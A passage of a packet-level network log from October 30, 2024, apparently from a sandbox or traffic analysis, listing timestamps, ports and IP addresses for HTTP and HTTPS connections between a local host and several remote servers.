Oct 30, 2024 18:06:44.317544937 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317557096 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317569017 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317591906 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317604065 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317615986 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317622900 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.317629099 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317641973 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317655087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317662954 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.317667961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317682028 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.317687035 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317698956 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317718983 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.317718983 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317734003 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317744970 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.317748070 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317764997 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317765951 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.317795038 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.317820072 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.317846060 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317858934 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317872047 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317883015 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317883968 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.317894936 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.317895889 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317910910 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.317917109 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.317945004 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318012953 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318023920 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318036079 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318053961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318063974 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318063974 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318075895 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318084002 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318089962 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318101883 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318115950 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318125963 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318128109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318141937 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318152905 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318155050 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318166971 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318169117 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318197012 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318224907 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318237066 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318240881 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318259954 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318264008 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318274021 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318276882 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318293095 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318296909 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318315029 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318321943 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318325996 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318357944 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318360090 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318367958 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318373919 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318384886 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318397045 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318418980 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318430901 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318442106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318449020 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318450928 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318450928 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318450928 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318459034 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318461895 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318476915 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318483114 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318490028 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318506956 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318528891 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318567038 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318579912 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318592072 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318603039 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318603039 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318610907 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318615913 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318623066 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318638086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318653107 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318674088 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318725109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318737030 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318747997 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318759918 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318767071 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318773031 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318787098 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318799973 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318800926 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318814039 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318825960 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318836927 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318837881 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318851948 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318869114 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318871975 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318881035 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318892002 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318903923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.318913937 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.318942070 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319365978 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319410086 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319456100 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319467068 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319479942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319494963 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319498062 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319515944 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319520950 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319521904 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319528103 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319534063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319551945 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319567919 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319619894 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319633961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319645882 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319658041 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319670916 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319683075 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319685936 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319696903 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319700003 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319729090 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319753885 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319761038 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319772959 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319785118 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319798946 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319808006 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319812059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319828033 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319835901 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319845915 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319865942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319874048 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319878101 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319890976 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319905043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319917917 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.319927931 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.319957018 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320009947 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320023060 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320034027 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320045948 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320050955 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320065975 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320076942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320077896 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320086002 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320094109 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320101023 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320116043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320128918 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320142031 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320142031 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320154905 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320169926 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320178986 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320218086 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320250034 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320262909 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320274115 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320286989 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320305109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320311069 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320318937 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320331097 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320336103 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320343971 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320357084 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320362091 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320370913 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320388079 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320405960 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320405960 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320419073 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320457935 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320702076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320746899 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320759058 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320786953 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320791006 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320797920 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320805073 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.320826054 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.320843935 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.323688984 CET	49879	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:44.323753119 CET	443	49879	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:44.323836088 CET	49879	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:44.324295044 CET	49879	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:44.324317932 CET	443	49879	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:44.416893959 CET	49880	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.416949034 CET	443	49880	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.417022943 CET	49880	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.417375088 CET	49881	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.417429924 CET	443	49881	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.417534113 CET	49882	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.417542934 CET	443	49882	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.417572021 CET	49881	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.417593956 CET	49882	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.418220997 CET	49883	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.418242931 CET	443	49883	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.418307066 CET	49883	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.418554068 CET	49884	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.418586016 CET	443	49884	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.418709040 CET	49884	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.420037985 CET	49880	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.420059919 CET	443	49880	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.425093889 CET	49881	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.425148010 CET	443	49881	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.425288916 CET	49882	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.425308943 CET	443	49882	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.425415993 CET	49883	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.425441980 CET	443	49883	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.425693035 CET	49884	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.425709963 CET	443	49884	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.432105064 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.437597036 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.545432091 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.545464039 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.545502901 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.545583010 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.545636892 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.545682907 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.545706034 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.550493002 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.550515890 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.550592899 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.550601959 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.554061890 CET	443	49862	23.198.7.185	192.168.2.5
Oct 30, 2024 18:06:44.554287910 CET	443	49863	23.198.7.185	192.168.2.5
Oct 30, 2024 18:06:44.554325104 CET	49862	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:44.554342031 CET	443	49862	23.198.7.185	192.168.2.5
Oct 30, 2024 18:06:44.554465055 CET	49863	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:44.554496050 CET	443	49863	23.198.7.185	192.168.2.5
Oct 30, 2024 18:06:44.555551052 CET	443	49863	23.198.7.185	192.168.2.5
Oct 30, 2024 18:06:44.555624962 CET	49863	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:44.555627108 CET	443	49862	23.198.7.185	192.168.2.5
Oct 30, 2024 18:06:44.555670977 CET	49862	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:44.556816101 CET	49863	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:44.556881905 CET	443	49863	23.198.7.185	192.168.2.5
Oct 30, 2024 18:06:44.556922913 CET	49862	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:44.557009935 CET	443	49862	23.198.7.185	192.168.2.5
Oct 30, 2024 18:06:44.630723000 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.630750895 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.630830050 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.630857944 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.630893946 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.671160936 CET	49863	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:44.671185970 CET	443	49863	23.198.7.185	192.168.2.5
Oct 30, 2024 18:06:44.692552090 CET	443	49864	204.79.197.219	192.168.2.5
Oct 30, 2024 18:06:44.692912102 CET	49864	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:44.692925930 CET	443	49864	204.79.197.219	192.168.2.5
Oct 30, 2024 18:06:44.694032907 CET	443	49864	204.79.197.219	192.168.2.5
Oct 30, 2024 18:06:44.694096088 CET	49864	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:44.695341110 CET	49864	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:44.695399046 CET	443	49864	204.79.197.219	192.168.2.5
Oct 30, 2024 18:06:44.697637081 CET	443	49865	204.79.197.219	192.168.2.5
Oct 30, 2024 18:06:44.697854996 CET	49865	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:44.697870970 CET	443	49865	204.79.197.219	192.168.2.5
Oct 30, 2024 18:06:44.699302912 CET	443	49865	204.79.197.219	192.168.2.5
Oct 30, 2024 18:06:44.699383974 CET	49865	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:44.699675083 CET	49865	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:44.699759960 CET	443	49865	204.79.197.219	192.168.2.5
Oct 30, 2024 18:06:44.736387014 CET	49862	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:44.736403942 CET	443	49862	23.198.7.185	192.168.2.5
Oct 30, 2024 18:06:44.736406088 CET	49864	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:44.736417055 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.736421108 CET	443	49864	204.79.197.219	192.168.2.5
Oct 30, 2024 18:06:44.749535084 CET	443	49872	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:44.749691010 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.749706984 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.749738932 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.749752045 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.749759912 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.749761105 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.749788046 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.749826908 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.749826908 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.749855042 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.749979019 CET	49872	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:44.750003099 CET	443	49872	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:44.750854969 CET	443	49872	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:44.750926018 CET	49872	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:44.751830101 CET	49872	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:44.751888990 CET	443	49872	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:44.770487070 CET	443	49868	20.125.209.212	192.168.2.5
Oct 30, 2024 18:06:44.770747900 CET	49868	443	192.168.2.5	20.125.209.212
Oct 30, 2024 18:06:44.770775080 CET	443	49868	20.125.209.212	192.168.2.5
Oct 30, 2024 18:06:44.771784067 CET	443	49868	20.125.209.212	192.168.2.5
Oct 30, 2024 18:06:44.771847010 CET	49868	443	192.168.2.5	20.125.209.212
Oct 30, 2024 18:06:44.772878885 CET	49868	443	192.168.2.5	20.125.209.212
Oct 30, 2024 18:06:44.772933006 CET	443	49868	20.125.209.212	192.168.2.5
Oct 30, 2024 18:06:44.773154974 CET	49868	443	192.168.2.5	20.125.209.212
Oct 30, 2024 18:06:44.773174047 CET	443	49868	20.125.209.212	192.168.2.5
Oct 30, 2024 18:06:44.823652983 CET	443	49869	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:44.824206114 CET	49869	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:44.824244022 CET	443	49869	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:44.825244904 CET	49869	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:44.825254917 CET	443	49869	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:44.827599049 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.827902079 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:44.827934027 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.828229904 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.828746080 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:44.828814983 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.828983068 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:44.832381964 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.832576990 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:44.832600117 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.832906008 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.833201885 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:44.833261013 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.833333969 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:44.837971926 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.838227034 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:44.838246107 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.839715958 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.839786053 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:44.840192080 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:44.840277910 CET	443	49875	23.47.50.173	192.168.2.5
